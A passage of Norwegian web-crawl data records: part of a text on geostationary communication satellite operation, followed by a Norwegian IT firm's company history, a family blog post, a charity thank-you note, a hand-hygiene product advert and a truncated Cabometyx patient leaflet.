er i operasjon i dag. Disse skulle tilby mobile tjenester fra b\u00e6rbare terminaler. Lavbanesatellitter m\u00e5 g\u00e5 i baner som er h\u00f8yere enn ca 500 km, slik at ikke atmosf\u00e6ren skaper for mye friksjon, men lavere enn det innerste Van Allen-beltet ved 1500 km med h\u00f8y tetthet av ladde partikler. Slik str\u00e5ling kan v\u00e6re \u00f8deleggende for elektronikk om bord i satellitten. Mellombanene er definert som mellom 1500 km og GEO, men de fleste MEO-satellitter befinner seg mellom 10 og km, mellom de to Van Allen-beltene. Figur 2.2 illustrerer de ulike banene. Figur 2.2 Illustrasjon av satellittbaner rundt jorda i to dimensjoner (4)\n\n\n\n15 13 Satellitter i LEO og MEO g\u00e5r som regel i inklinerte baner. Innen en slik satellitt har g\u00e5tt en runde har jorda rotert, slik at satellitten hele tiden vil dekke nye omr\u00e5der. Tidskontinuerlig dekning over bestemte omr\u00e5der krever mange satellitter i et system, en konstellasjon, og lavere baner krever flere satellitter. 2.4 Operasjon av geostasjon\u00e6r satellitt En satellitt er en kostbar investering, b\u00e5de \u00e5 kj\u00f8pe og skyte opp. Typisk levetid for en kommunikasjonssatellitt i geostasjon\u00e6r bane er rundt 12 \u00e5r, og i l\u00f8pet av denne tiden er det ingen muligheter for vedlikehold eller reparasjoner. Operasjon av satellitter krever derfor n\u00f8ye overv\u00e5king og tett oppf\u00f8lging slik at den holder ut den planlagte tiden, og helst litt lenger. Hver satellitt har en unik nyttelast i forhold til hva den skal brukes til og hvilke omr\u00e5der den skal dekke. Dette virker igjen inn p\u00e5 plattformen i forhold til effekt som m\u00e5 v\u00e6re tilgjengelig, termiske forhold, vekt og st\u00f8rrelse osv. Dette betyr at en satellitt i praksis er skreddersydd og tar fort mer enn ett \u00e5r \u00e5 bygge. Hvis en satellitt skulle bli defekt, vil det ikke bare bli en kostbar aff\u00e6re \u00e5 erstatte den, men ogs\u00e5 tidkrevende. Store satellittoperat\u00f8rer har ofte reservesatellitter i bane, men sm\u00e5 operat\u00f8rer har sjelden r\u00e5d til dette. Markedsandeler kan fort g\u00e5 tapt. For at satellitten skal kunne brukes til de planlagte tjenestene har plattformen en rekke funksjoner. Det inneb\u00e6rer \u00e5 kunne holde riktig bane og orientering i forhold til jorda, forsyne nyttelasten med tilstrekkelig effekt, holde temperaturene innenfor akseptable rammer, sende tilstandsdata til jorda og motta kommandoer. Dette ivaretas av flere delsystemer: Effektgenerering Retnings- og banekontroll Termisk kontroll Telemetri, tracking og kommando Mekanisk struktur og mekanismer Mange av funksjonene utf\u00f8res automatisk, men noen utf\u00f8res p\u00e5 kommando fra bakken av operat\u00f8rer. De fleste automatiske funksjonene kan ogs\u00e5 startes manuelt. Informasjon om status for delsystemene kommer fra flere hundre sensorer som m\u00e5ler temperaturer, str\u00f8mmer, spenninger, trykk, vinkler, spinnhastighet, retningsinformasjon, status for brytere og mekanismer. Disse dataene sendes jevnlig til jorda. Noen parametere varierer i l\u00f8pet av d\u00f8gnet, blant annet en del temperaturer, noen varierer i l\u00f8pet av \u00e5ret, og for noen er det tydelige trender med \u00e5rene. Det er viktig \u00e5 f\u00f8lge med p\u00e5 utviklingen av m\u00e5ledataene, at den er som forventet, og eventuelt fange opp anomalier p\u00e5 et tidlig tidspunkt. I figur 2.3 er en satellitt med noen av komponentene som utgj\u00f8r de ulike delsystemene skissert. Dedikerte jordstasjoner og kontrollsenteret inng\u00e5r i romsegmentet, og det er der den daglige operasjonen foreg\u00e5r.\n\n\n\n16 14 Figur 2.3 Skisse av en Boeing 376 satellitt Nyttelasten Sendeeffekten avhenger av fluksen p\u00e5 signalet fra jordstasjonene, og er proporsjonalt inntil et metningspunkt. Det er \u00f8nskelig \u00e5 operere transponderne ved et punkt n\u00e6r metningspunktet Effektgenerering Kommunikasjonssatellitter er utstyrt med solcellepaneler og batteri. Solcellepanelene er den prim\u00e6re energikilden, og arealet p\u00e5 panelene m\u00e5 dimensjoneres i forhold til effektbehovet til nyttelasten og de \u00f8vrige systemene. Ofte brukt p\u00e5 satellitter er solceller basert p\u00e5 galliumarsenid med en virkningsgrad mellom 19 og 26 %, med h\u00f8yest virkningsgrad for de som er bygd de seneste \u00e5rene. Generert effekt vil variere i l\u00f8pet av \u00e5ret, avhengig av vinkel p\u00e5 solstr\u00e5lene i forhold til solpanelet og avstanden til sola. Vinkelen er st\u00f8rst ved sommer- og vintersolverv med 23,5 grader. Effekten vil v\u00e6re lavest ved sommersolverv (St. Hans aften), for da er i tillegg ogs\u00e5 avstanden til sola stor. Solcellene degraderes i l\u00f8pet av levetiden, og dette m\u00e5 ogs\u00e5 tas med i betraktning for dimensjoneringen. Effekt ved sommersolverv end-of-life er en viktig\n\n\n\n17 15 parameter. Ofte designes det slik at en transponder m\u00e5 sl\u00e5es av mot slutten av levetiden. Figur 2.4 viser hvordan den genererte effekten varierer med \u00e5rstider og levealder. De sm\u00e5 spinnstabiliserte Thor-satellittene til Telenor har sylindriske kropper dekket med solceller, med et ekstra skj\u00f8rt som ble trukket ned n\u00e5r satellittene var kommet i bane. Halve arealet p\u00e5 en slik satellitt befinner seg til enhver tid i skygge, og krumningen gj\u00f8r at effektivt areal tilsvarer sylinderens tverrsnitt. Temperaturene vil v\u00e6re lavere enn p\u00e5 solcellene til treaksestabiliserte satellitter med paneler konstant rettet mot sola, og det gir en bedre virkningsgrad. Mot slutten av levetiden vil Thor-satellittene produsere 1400 W. Store tre-aksestabiliserte kommunikasjonssatellitter under bygging i dag har lange rader med solpaneler som folder seg ut etter oppskyting og kan gi opptil 16 kw mot slutten av levetiden. Batteriene lagrer energi som kan brukes n\u00e5r satellitten kommer i skygge for sola. Det kalles eklipse, og for satellitter i geostasjon\u00e6r bane skjer det i perioder rundt v\u00e5r- og h\u00f8stjevnd\u00f8gn. Da vil sola daglig forsvinne bak jorda sett fra satellitten og v\u00e6re borte i opptil 70 minutter. Eklipseperiodene varer i ca seks uker. Overgangen fra energi fra solcellene til batteriene skjer automatisk n\u00e5r solcellestr\u00f8mmen blir lavere enn en bestemt verdi, og tilsvarende tilbake til solcelle-energi n\u00e5r den er over denne verdien igjen etter eklipsen. Batteriene m\u00e5 lades opp igjen f\u00f8r neste eklipse neste natt ved hjelp av en lav ladestr\u00f8m fra solpanelet. Batteriene veier mye i forhold til energien de kan lagre. Nikkel-hygdrogen-batterier brukes ofte p\u00e5 kommunikasjonssatellitter, og de har en kapasitet p\u00e5 Wh/kg. Lagringskapasiteten blir d\u00e5rligere med antall utlade- og lade sykluser. For at batteriene skal holde ut levetiden b\u00f8r temperaturene holdes mellom 10 og 25 C, og utladninger b\u00f8r ikke overstige mer enn % av kapasiteten ( depth of discharge ). Temperaturene synker ved utladning og stiger ved oppladning. Sensorer m\u00e5ler temperaturer, spenninger og str\u00f8mmer p\u00e5 solcellepanelene og batteriene. Dette brukes for monitorering, planlegging og operasjon fra bakken. I eklipseperiodene er det viktig \u00e5 f\u00f8lge med p\u00e5 at overgangene mellom batteri og solpanelenergi skjer ved forventede tidspunkt, sjekke at depth of discharge stod i forhold til eklipsevarigheten og ikke har oversteget anbefalt verdi, starte oppladning av batteriet i tide f\u00f8r neste eklipse og s\u00f8rge for at batteritemperaturene holder seg innenfor det anbefalte intervallet. P\u00e5 lang sikt overv\u00e5kes trender i m\u00e5ledataene, om de er som forventet i forhold til \u00e5rsvariasjoner og degradering. I perioder p\u00e5 \u00e5ret m\u00e5 varmeelementer ved batteriene settes p\u00e5 for \u00e5 holde temperaturene over anbefalt nedre grense.\n\n\n\n18 16 Figur 2.4 Variasjon i generert effekt med \u00e5rstider og levetid (5) Retnings- og banekontroll Ulike krefter virker p\u00e5 satellitten, slik at bane og orientering i forhold til jorda endrer seg over tid. Delsystemet for retnings- og banekontroll skal s\u00f8rge for at variasjonene holder seg innenfor akseptable rammer, slik at antennene p\u00e5 satellitten kan kommunisere med antennene p\u00e5 bakken til enhver tid. De to vanligste m\u00e5tene \u00e5 holde en satellitt stabil p\u00e5 er ved spinnstabilisering eller treaksestabilisering. I den f\u00f8rste metoden er satellitten sylinderformet og roterer om aksen med st\u00f8rst treghetsmoment, som er aksen parallelt med jordaksen. Ved den andre metoden er satellitten utstyrt med momenthjul og gyroer. I det f\u00f8lgende vil retnings- og banekontroll av en spinnstabilisert satellitt bli beskrevet n\u00e6rmere. Hughes 376 (n\u00e5 Boeing 376) har v\u00e6rt en veldig popul\u00e6r spinnstabilisert kommunikasjonssatellitt, mer enn 50 slike er bygd og sendt opp i geostasjon\u00e6r bane. Alle de tre\n\n\n\n19 17 Thor-satellittene er av denne typen. Typisk rotasjonshastighet er 55 rotasjoner per minutt. Antennesystemet sitter \u00f8verst p\u00e5 sylinderen p\u00e5 en antispinn-plattform, som drives i motsatt retning slik at antenna peker mot jorda. Tracking p\u00e5 et eget beaconsignal fra bakken holder antenna i retning mot jorda. En motor i antennefestet kan bevege antenna opp eller ned i sm\u00e5 steg. For \u00e5 justere rotasjonshastighet, retning og bane brukes fire motorer, to radielle og to aksielle, med kraft p\u00e5 rundt 20 N hver. Drivstoffet er monometylhydrazin og nitrogentetroksid, fordelt i fire tanker av hensyn til redundans, med r\u00f8r ned til motorene. De to stoffene antenner n\u00e5r de kommer i kontakt med hverandre, som skjer n\u00e5r ventilene \u00e5pnes p\u00e5 kommando fra bakken. Ved \u00e5 \u00e5pne riktige ventiler i et bestemt antall pulser til rett tid og med riktig pulsintervall oppn\u00e5s den \u00f8nskede drivkraften. Dette kalles en man\u00f8ver. En man\u00f8ver beregnes, dobbeltsjekkes og programmeres f\u00f8r den eksekveres. Under man\u00f8veren monitoreres tilstandsdata som forventes \u00e5 fluktuere underveis eller endre seg. Etter man\u00f8veren sjekkes det at endringene i tilstandsdata er som forventet og at riktig antall pulser er eksekvert med riktig lengde og mellomrom. Det er mengden med drivstoff som bestemmer levetiden til satellitten. Satellitten vil v\u00e6re ubrukelig n\u00e5r det ikke er mer drivstoff til \u00e5 holde den i riktig bane og orientering. Noe drivstoff m\u00e5 holdes av til \u00e5 flytte satellitten til en bane noen hundre kilometer lengre ut i verdensrommet. Jordsensorer og solsensorer, et par av hver, brukes til \u00e5 m\u00e5le satellittens orientering. Jordsensorene m\u00e5ler infrar\u00f8d str\u00e5ling fra jorda. Sensorparene er plassert i bestemte vinkler og avstander i forhold til hverandre, og software p\u00e5 bakken beregner orienteringsparametre ut i fra lengde- og mellomrom p\u00e5 jordpulser og solpulser m\u00e5lt i sensorene n\u00e5r satellitten roterer. Retningen p\u00e5 satellitten endrer seg over tid p\u00e5 grunn av str\u00e5lingstrykket fra sola. Angrepspunktet for denne kraften, som vil v\u00e6re tverrsnittets midtpunkt, sammenfaller ikke med tyngdepunktet, og gir et kraftmoment normalt p\u00e5 sollinjen. En satellitt kan operere med noen tiendels graders avvik fra banenormalen. I en retningsman\u00f8ver blir derfor satellitten skj\u00f8vet til det maksimalt tillatte avviket i motsatt retning av det sola gj\u00f8r. I l\u00f8pet av en ukes tid vil solkraften ha skj\u00f8vet satellitten til det som er maksimalt tillatt avvik p\u00e5 den andre siden, og en ny retningsman\u00f8ver m\u00e5 gjennomf\u00f8res. Tiden mellom retningsman\u00f8vre varierer med \u00e5ret og endrer seg i l\u00f8pet av livet. Tverrsnittet vil se st\u00f8rre ut n\u00e5r solen skinner nedenfra eller ovenfra ved sommer- og vintersolverv, og tyngdepunktet flytter seg etter hver man\u00f8ver n\u00e5r drivstoff har blitt brukt. Banekontroll ut\u00f8ves for \u00e5 motvirke flere krefter som virker p\u00e5 satellitten og endrer banen fra \u00e5 v\u00e6re geostasjon\u00e6r. Gravitasjonskrefter fra sol og m\u00e5ne vil gi en inklinasjon i baneplanet, som vil utgj\u00f8re en feil i nord-s\u00f8r-retning, og gj\u00f8re banen elliptisk. Fordi jorda ikke har helt sirkul\u00e6r form rundt ekvator er jordas gravitasjonsfelt ikke homogent. Det vil gi en drift i \u00f8st-vest-retning. Internasjonal norm er \u00e5 holde en satellitt innenfor en boks p\u00e5 pluss minus 0,1 rundt den allokerte posisjonen, dette er ofte kalt station keeping p\u00e5 engelsk. Atskilte man\u00f8vre i nord-s\u00f8r og \u00f8st-vest-retning s\u00f8rger for dette, ogs\u00e5 kalt inklinasjonsman\u00f8vre og drift- og eksentrisitetsman\u00f8vre. Inklinasjonsman\u00f8vrene er de desidert st\u00f8rste, mer enn 90 % av drivstoffet g\u00e5r med til disse. De utf\u00f8res med rundt fire ukers mellomrom, mens drift- og eksentrisitetsman\u00f8vre gjennomf\u00f8res omtrent annenhver uke. Man\u00f8vrene flytter satellitten til maksimal ytterkant av posisjonsboksen i motsatt retning av det naturkreftene virker. Tracking-antenner p\u00e5 bakken m\u00e5ler asimut- og elevasjonsvinkler og avstand til satellitten, og\n\n\n\n20 18 dette brukes til \u00e5 beregne satellittens bane. Ved bruk av kun \u00e9n antenne m\u00e5 tracking-m\u00e5linger utf\u00f8res jevnt fordelt over 2 d\u00f8gn for \u00e5 gi mest mulig n\u00f8yaktig beregning. Med to antenner tilstrekkelig geografisk spredt er kun avstandsm\u00e5linger n\u00f8dvendig, og med tre antenner kan banen bestemmes med f\u00e5 m\u00e5linger ved triangulering. Et estimat for banen basert p\u00e5 forrige baneberegning tilpasses m\u00e5lingene i en iterativ prosess. Baneberegninger gj\u00f8res f\u00f8r og etter station keeping -man\u00f8vre Termisk kontroll Komponentene p\u00e5 satellitten m\u00e5 opereres i gitte temperaturomr\u00e5der for \u00e5 virke optimalt. Det termiske delsystemet skal s\u00f8rge for at det er mulig, omgitt av verdensrommet med en temperatur p\u00e5 4 K og med oppvarming fra sola og utstyr om bord satellitten. Batterier, solceller, drivstoff og elektronisk utstyr stiller forskjellig krav til termisk kontroll, og komponentenes plassering p\u00e5 satellitten, d\u00f8gnvariasjoner, \u00e5rstider, eklipser og operasjonelle hendelser spiller inn. Det vil v\u00e6re forskjellige krav til termisk kontroll for en treaksestabilisert satellitt med noen flater i sol og andre flater i skygge i lang tid enn for en roterende satellitt. Passiv termisk kontroll g\u00e5r ut p\u00e5 \u00e5 kle overflater med materialer med gitte absorpsjons- og emisjonsegenskaper i forhold til det milj\u00f8et de vil utsettes for og kravet til operasjonstemperaturer. Aktiv regulering kan v\u00e6re \u00e5 bruke varmeelementer som kan skrus p\u00e5 og av p\u00e5 kommando fra bakken og som gir en lokal oppvarming ved en kritisk komponent. Det kan v\u00e6re ved drivstofftanker, batterielementer eller ved en avsl\u00e5tt transponder. Det er mulig \u00e5 sette alarmgrenser p\u00e5 tilstandsdata fra satellitten, og dette brukes aktivt til \u00e5 f\u00f8lge med p\u00e5 temperaturer og skru av og p\u00e5 varmeelementer etter behov Mekanisk struktur og mekanismer Den mekaniske strukturen til en satellitt skal v\u00e6re stiv og sterk men samtidig v\u00e6re s\u00e5 lett som mulig, siden oppskytingskostnadene er proporsjonalt med satellittens vekt. Strukturen m\u00e5 beholde formen n\u00e5r den utsettes for vibrasjoner under oppskytingen og temperaturvariasjoner i operasjon. Noen mekanismer skal bare brukes i det satellitten er kommet i bane, som de som s\u00f8rger for \u00e5 folde ut solcellepaneler og antenner. Andre skal brukes gjennom livsl\u00f8pet, som antenne-stepmotoren. Slike mekanismer vil monitoreres for \u00e5 f\u00f8lge med p\u00e5 at de virker som de skal, spesielt etter flere \u00e5rs bruk og mulig slitasje Telemetri, tracking og kommando Delsystemets funksjoner er \u00e5 formidle tilstandsdata fra sensorer p\u00e5 satellitten til kontrollrommet, utf\u00f8re operasjoner p\u00e5 kommando fra kontrollrommet og verifisere dette, samt gj\u00f8re m\u00e5linger av satellittens bane fra bakken. P\u00e5 engelsk forkortes dette ofte med TT\\&C (Telemetry, Tracking & Command). Telemetriforbindelsen er kontinuerlig, og viktige parametere blir sendt oftest. Egne jordstasjoner p\u00e5 bakken er dedikert til TT\\&C. Det er viktig at overf\u00f8ring av data til og fra satellitten er mulig selv om satellitten er ute av retningskontroll. Derfor er satellitten ogs\u00e5 utstyrt med en rundstr\u00e5lende antenne som kan brukes til TT\\&C.\n\n\n\n", "language": "no", "__index_level_0__": "84543b45-e116-4389-8be8-3d45272b89ca"}
{"url": "http://local-host.no/om-oss", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:30:57Z", "text": "LocalHost AS ble startet i M\u00e5l\u00f8y i 2007, men en klar visjon om \u00e5 gj\u00f8re IT enkelt, trygt og milj\u00f8vennlig.\n\nEtter flere \u00e5r i bransjen s\u00e5 gr\u00fcnderne i LocalHost stadig nye utfordringer relatert til drift av IT-systemer hos sine kunder. Kompleksiteten til b\u00e5de software og hardware \u00f8kte stadig, og ansatte hos kundene m\u00e5tte bruke mer og mer tid p\u00e5 IT, og\u00a0dermed mindre tid \u00e5 drive egen bedrift.  \nServere og nettverksutstyr var ofte plassert i b\u00f8ttekott eller boder, som var lite egnet for form\u00e5let. D\u00e5rlig brannsikring, samt fysisk sikring av servere og maskiner, var ikke uvanlig og rutiner for oppbevaring, sjekk og test av backup var ufullstendige. Investeringskostnader p\u00e5 servere var lite forutsigbare og konsulentkostnadene for drift av serverne var h\u00f8ye.\n\nV\u00e5r l\u00f8sning var \u00e5\u00a0bygge\u00a0et datasenter hvor kunder, b\u00e5de store og sm\u00e5, leier det de trenger - n\u00e5r de trenger det. Fleksibilitet er viktig og kunden kan selv velge\u00a0i hvilken grad de \u00f8nsker \u00e5 flytte sine\u00a0IT-systemer til oss.\u00a0Vi kan ta oss av hele driften av kunders servere og brukernes skrivebord, eller bare deler av dette. LocalHost kan ogs\u00e5 v\u00e6re et alternativ til \u00e5 kj\u00f8pe egne servere, hvor kunden leier servere hos oss og fjerndrifter disse selv.\n\nDet ble investert i l\u00f8sninger og teknologi som tidligere var forbeholdt de st\u00f8rste firmaene, og vi utviklet v\u00e5r egen kj\u00f8lel\u00f8sning som gjorde oss til et av Europas gr\u00f8nneste datasenter. Disse l\u00f8sningene leverer vi i dag til alt fra enkeltpersonsforetak til store multinasjonale selskaper med milliardomsetning.\n\nEtter \u00e5 ha v\u00e6rt i drift en periode s\u00e5 vi programvarebehov som ikke fantes i markedet, b\u00e5de hos oss selv og v\u00e5re kunder. Som et resultat av dette \u00e5pnet vi i 2009 v\u00e5r egen utviklingsavdeling. I dag har vi to dyktige utviklere, som har utviklet alt fra touchbaserte timeregistreringssystemer til Lync-integrert CRM-system.\n\nEtter hvert som kundemassen vokste \u00f8kte ogs\u00e5 behovet for bemanning. Dette resulterte dette i et oppkj\u00f8p av Vestdata AS (AdCom Nordfjord) p\u00e5 Nordfjordeid,\u00a0slik begge parter \u00f8nsket. Med p\u00e5 kj\u00f8pet var\u00a0flere dyktige medarbeidere,\u00a0noen ogs\u00e5 sertifisert p\u00e5 Visma og Huldt\u00a0& Lillevik.\n\nI dag eies LocalHost AS av LocalHost Holding AS. I konsernet er det flere\u00a0nyoppstartede selskaper\u00a0med fokus p\u00e5\u00a0teknologi. De fleste selskapene\u00a0i grupperingen\u00a0er mindre enn\u00a0fire \u00e5r gamle og er i hovedsak lokalisert i M\u00e5l\u00f8y. Til sammen er det rundt 35 ansatte.\n\n", "language": "no", "__index_level_0__": "3b411db2-8cc8-42e6-b82c-f322bc41711a"}
{"url": "http://hverdagsthing.blogspot.com/2014/06/sommerlykke.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:29:16Z", "text": "## l\u00f8rdag 28. juni 2014\n\n### Sommerlykke\n\n*Iflg minstemann er  \nSommerlykke\u00a0*  \n*\u00e5 huske i et tre\\!*  \n  \n  \n\n\n  \n *...vi elsker \u00e5 bo p\u00e5 landet\\! \u2665*  \n  \n\n19:47           \n\n#### 2 kommentarer:\n\n1.  \n    \n    linntove29. juni 2014 kl. 17:34\n    \n    S\u00e5 koselig. Her hvor jeg leier er det en slik liten disse i et tre ogs\u00e5, som blir flittig brukt hver gang det er barn p\u00e5 bes\u00f8k her.  \n    H\u00e5per du har en fin helg :)\n    \n    1.  \n        \n        Thing1. juli 2014 kl. 11:19\n        \n        Tusen takk\\!\\! =)\n        \nTusen takk for at du tar deg tid til \u00e5 skrive en liten kommentar til meg  \nKoselig \u00e5 vite at du har v\u00e6rt her p\u00e5 bes\u00f8k \u2665\n\n## VELKOMMEN \u2665\n\n    Da har det jammen meg sneket seg inn litt p\u00e5skepynt p\u00e5 badet ogs\u00e5... \u2661\n\n    \n\n", "language": "no", "__index_level_0__": "a2449c4d-b21d-48b2-86ee-f9838b6a782e"}
{"url": "http://bistandforbarn.no/utskriftvennlig/4917", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:16:04Z", "text": "# Takk til gener\u00f8se givere\\!\n\nTekst: Bistand For Barn // Dato: 10-10-2013\n\nVi vil gjerne takke Georg Myhrvold og Meta Hjulstad som begge benyttet en viktig markering i sitt liv til \u00e5 st\u00f8tte Bistand for barn\\!\n\nIllustrasjonsfoto: Chris Anderson\n\nGeorg Myhrvold fylte 70 \u00e5r tidligere i \u00e5r. I stedet for gaver til seg selv, \u00f8nsket han at gjestene skulle gi bidrag til Bistand for barn. Han samlet inn 20 500 kroner\\!  \nMeta Hjulstad hadde barned\u00e5p, og gjestene gav 8000 kroner til Bistand for barns psykologprosjekt i Colombia.\n\nVi er s\u00e5 takknemlige for at dere hjelper oss med \u00e5 gj\u00f8re en forskjell for barn som virkelig trenger det rundt i verden\\!\n", "language": "no", "__index_level_0__": "4e25673c-e470-4ee1-912a-bfdb0ec3101b"}
{"url": "http://www.nonfood.no/article.php?articleID=12360&categoryID=6", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:32:37Z", "text": "# H\u00e5ndhygiene er din beste beskyttelse\n\n**Hygiene ber\u00f8rer alle mennesker, ikke bare p\u00e5 jobben men ogs\u00e5 p\u00e5 fritiden og sammen med familie og venner - bakteriene vi f\u00e5r med oss fra jobben tar vi med oss hjem, og vice versa. Bra hygienevaner holder deg, din familie samt dine kollegaer og venner friske.**\n\n**T\u00f8rre hender er sikre hender**  \nAlle vet at det er viktig \u00e5 vaske hendene sine f.eks etter \u00e5 ha bes\u00f8kt et offentlig toalett eller innen man spiser. Men visste du at det er like viktig \u00e5 t\u00f8rke hendene? Bakterier elsker varme og fuktige steder, s\u00e5 v\u00e6r n\u00f8ye med \u00e5 t\u00f8rke hendene grundig.Hvordan vasker man hendene riktig?**** **  \n****  \n**Med s\u00e5pe og vann****  \n1\\. Bl\u00f8t hendene med rent varmt vann  \n2\\. P\u00e5f\u00f8r tilrekkelig med flytende s\u00e5pe for \u00e5 dekke alle deler  \n3\\. Gni hendene ordentlig og skrubb alle deler  \n4\\. Glem ikke tomlene (nesten alle glemmer \u00e5 vaske den ene tommelen n\u00e5r de vasker hendene \u2013 hvilken tommel glemmer du?)  \n5\\. Skyll hendene med rent varmt vann  \n6\\. T\u00f8rk hendene grundig med en engangsh\u00e5ndt\u00f8rk av papir  \n7\\. \u2026 og dine hender er rene\n\n I de tilfeller n\u00e5r tradisjonell h\u00e5ndvask med s\u00e5pe og vann ikke er tilgjengelig s\u00e5 er Tork Premium H\u00e5ndrengj\u00f8ring en perfekt l\u00f8sning.\n\nDen b\u00e6rbare b\u00f8tta tar liten plass og de fuktige klutene gir deg rene hender uansett hvor du er. Produktet er alkoholfritt og uparfymert samtidig som det er hygienisk og sk\u00e5nsom mot huden. Klutene er dermatologisk testet og utviklet i henhold til EU direktiver.\n\nTork Premium H\u00e5ndrengj\u00f8ring er like perfekt til t\u00f8ffe oppgaver som olje og fett som til daglig rengj\u00f8ring av hendene n\u00e5r du ikke har tilgang til s\u00e5pe og vann\n\nNonfood.no. En del av Norgesgruppen.\n\n", "language": "no", "__index_level_0__": "89ec0c46-9674-4b2d-8c30-f96e52ddaf75"}
{"url": "https://rxed.eu/no/c/Cabometyx+/5/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:33:13Z", "text": "Dette legemidlet er underlagt s\u00e6rlig overv\u00e5king for \u00e5 oppdage ny sikkerhetsinformasjon s\u00e5 raskt som mulig. Du kan bidra ved \u00e5 melde enhver mistenkt bivirkning. Se avsnitt 4 for informasjon om hvordan du melder bivirkninger.\n\nLes n\u00f8ye gjennom dette pakningsvedlegget f\u00f8r du begynner \u00e5 bruke dette legemidlet. Det inneholder informasjon som er viktig for deg.\n\n\\-Ta vare p\u00e5 dette pakningsvedlegget. Du kan f\u00e5 behov for \u00e5 lese det igjen.\n\n\\-Hvis du har ytterligere sp\u00f8rsm\u00e5l, kontakt lege eller apotek.\n\n\\-Dette legemidlet er skrevet ut kun til deg. Ikke gi det videre til andre. Det kan skade dem, selv om de har symptomer p\u00e5 sykdom som ligner dine.\n\n\\-Kontakt lege dersom du opplever bivirkninger, inkludert mulige bivirkninger som ikke er nevnt i dette pakningsvedlegget. Se avsnitt 4.\n\nCABOMETYX er et kreftlegemiddel som inneholder virkestoffet kabozantinib. Det brukes til \u00e5 behandle avanserte stadier av en type nyrekreft, kalt nyrecellekarsinom, hos voksne som har f\u00e5tt tidligere behandling.\n\nHvordan CABOMETYX virker\n\nCABOMETYX blokkerer virkningen av proteiner kalt reseptortyrosinkinase (RTK), som er involvert i veksten av celler og utviklingen av nye blodkar som forsyner dem. Disse proteinene kan forekomme i store mengder i kreftceller, og ved \u00e5 blokkere virkningen deres kan CABOMETYX bremse veksten av svulsten og bidra til \u00e5 stanse blodtilf\u00f8rselen som kreften trenger.\n\n## 2\\. Hva du m\u00e5 vite f\u00f8r du bruker CABOMETYX\n\nBruk ikke CABOMETYX\n\n\\-dersom du er allergisk overfor kabozantinib eller noen av de andre innholdsstoffene i dette legemidlet (listet opp i avsnitt 6).\n\nAdvarsler og forsiktighetsregler\n\nR\u00e5df\u00f8r deg med lege eller apotek f\u00f8r du bruker CABOMETYX dersom du:\n\n\\-har h\u00f8yt blodtrykk\n\n\\-har diar\u00e9\n\n\\-nylig har opplevd betydelig bl\u00f8dning\n\n\\-har hatt en operasjon i l\u00f8pet av den siste m\u00e5neden (eller hvis et kirurgisk inngrep er planlagt), inkludert tannbehandling\n\n\\-har inflammatorisk tarmsykdom (f.eks. Crohns sykdom eller ulcer\u00f8s kolitt, divertikulitt eller blindtarmsbetennelse)\n\n\\-nylig har hatt blodpropp i beinet, hjerneslag eller hjerteinfarkt\n\n\\-har lever- eller nyresykdom\n\nInformer legen din hvis noe av dette gjelder deg. Du kan trenge behandling, eller legen kan velge \u00e5 endre dosen med CABOMETYX eller stoppe behandlingen. Se ogs\u00e5 avsnitt 4 \"Mulige bivirkninger\".\n\nBarn og ungdom\n\nCABOMETYX anbefales ikke til barn eller ungdom. Effekten av CABOMETYX hos personer under 18 \u00e5r er ikke kjent.\n\nAndre legemidler og CABOMETYX\n\nR\u00e5df\u00f8r deg med lege eller apotek dersom du bruker, nylig har brukt eller planlegger \u00e5 bruke andre legemidler. Dette er fordi CABOMETYX kan p\u00e5virke m\u00e5ten andre legemidler virker p\u00e5. Enkelte legemidler kan ogs\u00e5 p\u00e5virke m\u00e5ten CABOMETYX virker p\u00e5. Dette kan f\u00f8re til at legen m\u00e5 endre dosen du tar. Fortell legen din om alle legemidlene du bruker, men spesielt hvis du bruker f\u00f8lgende:\n\n\\-Legemidler mot soppinfeksjoner, for eksempel itrakonazol, ketokonazol og posakonazol\n\n\\-Legemidler som brukes til \u00e5 behandle bakterieinfeksjoner (antibiotika), som erytromycin, klaritromycin og rifampicin\n\n\\-Allergimedisiner, som feksofenadin og ranolazin\n\n\\-Legemidler som brukes til \u00e5 behandle epilepsi eller krampeanfall, som fenytoin, karbamazepin og fenobarbital\n\n\\-Naturlegemidler som inneholder johannesurt (Hypericum perforatum), noen ganger brukt for \u00e5 behandle depresjon eller depresjonsrelaterte tilstander, som angst\n\n\\-Legemidler som brukes for \u00e5 fortynne blodet, som warfarin\n\n\\-Legemidler som brukes til \u00e5 behandle h\u00f8yt blodtrykk eller andre hjerteforstyrrelser, som aliskiren, ambrisentan, dabigatraneteksilat, digoksin, talinolol og tolvaptan\n\n\\-Legemidler som brukes til \u00e5 behandle diabetes, som saksagliptin og sitagliptin\n\n\\-Legemidler som brukes til \u00e5 behandle urinsyregikt, som kolkisin\n\n\\-Legemidler som brukes til \u00e5 behandle hiv eller aids som efavirenz, ritonavir, maraviroc og emtricitabin\n\n\\-Legemidler som brukes \u00e5 forhindre transplantatavst\u00f8tning (ciklosporin) og ciklosporin-baserte behandlinger ved revmatoid artritt og psoriasis\n\nOral prevensjon (p-piller)\n\nHvis du tar CABOMETYX samtidig med oral prevensjon (tas via munnen), kan det gj\u00f8re prevensjonen ineffektiv. Du b\u00f8r derfor ogs\u00e5 bruke barriereprevensjon (f.eks. kondom eller pessar) n\u00e5r du bruker CABOMETYX, og i minst fire m\u00e5neder etter at behandlingen er avsluttet.\n\nInntak av CABOMETYX sammen med mat\n\nDu skal ikke ta CABOMETYX sammen med mat. Du b\u00f8r ikke spise i minst to timer f\u00f8r du tar CABOMETYX og i minst \u00e9n time etter inntak av legemidlet. Unng\u00e5 inntak av grapefruktholdige produkter s\u00e5 lenge du bruker dette legemidlet, da de kan \u00f8ke niv\u00e5ene av CABOMETYX i blodet.\n\nGraviditet, amming og fertilitet\n\nUnng\u00e5 \u00e5 bli gravid under behandling med CABOMETYX. Hvis du eller partneren din kan bli 